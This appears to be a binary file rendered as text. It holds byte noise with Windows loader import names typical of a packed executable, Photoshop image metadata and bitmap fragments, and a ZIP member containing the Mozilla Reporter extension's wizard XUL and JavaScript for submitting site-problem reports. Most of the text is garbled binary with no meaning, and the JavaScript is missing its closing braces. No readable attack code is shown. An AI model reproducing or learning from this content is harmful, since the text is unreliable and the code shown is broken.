ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
